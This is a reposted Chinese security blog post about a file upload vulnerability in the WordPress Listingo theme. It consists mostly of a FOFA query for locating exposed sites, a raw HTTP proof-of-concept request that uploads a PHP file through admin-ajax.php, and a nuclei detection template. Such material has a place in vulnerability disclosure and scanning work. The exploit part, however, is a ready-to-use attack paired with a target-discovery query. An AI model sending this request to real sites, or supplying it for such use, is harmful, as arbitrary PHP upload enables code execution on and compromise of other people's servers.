wordpress listingo 文件上传漏洞

admin 2023年12月28日11:49:42评论87 views字数 1666阅读5分33秒阅读模式


一、免责声明:


      本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!


二、产品介绍:


wordpress模板——listingo 存在文件上传漏洞。

三、资产梳理:


fofa:body="wp-content/themes/listingo"

四、漏洞复现:


wordpress listingo 文件上传漏洞

五、POC:


POST /wp-admin/admin-ajax.php?action=listingo_temp_uploader HTTP/1.1Host: targetUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8rVjnfcgxgKoytcgAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length: 531
------WebKitFormBoundary8rVjnfcgxgKoytcgContent-Disposition: form-data; name="listingo_uploader";filename="1008.php"Content-Type:text/php
<?phpphpinfo();?>------WebKitFormBoundary8rVjnfcgxgKoytcgContent-Disposition: form-data; name="submit"
Start Uploader------WebKitFormBoundary8rVjnfcgxgKoytcg--


nuclei

id: wp_listingo_uploadinfo:  name: wp_listingo_upload  author: joyboy  severity: critical  description: wordpress模板——listingo 存在文件上传漏洞  metadata:    max-request: 1    fofa-query: body="wp-content/themes/listingo"    verified: true  tags: upload
requests: - raw: - |- POST /wp-admin/admin-ajax.php?action=listingo_temp_uploader HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----test Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Length: 805
------test Content-Disposition: form-data; name="listingo_uploader";filename="1008.txt" Content-Type:text/php
1008611 ------test Content-Disposition: form-data; name="submit" Start Uploader ------test-- req-condition: true extractors: - type: dsl dsl: - 'body' matchers: - type: dsl condition: and dsl: - 'contains((body), "wp-custom-uploader") && status_code == 200'


wordpress listingo 文件上传漏洞


原文始发于微信公众号(fly的渗透学习笔记):wordpress listingo 文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日11:49:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   wordpress listingo 文件上传漏洞http://cn-sec.com/archives/2342983.html

发表评论

匿名网友 填写信息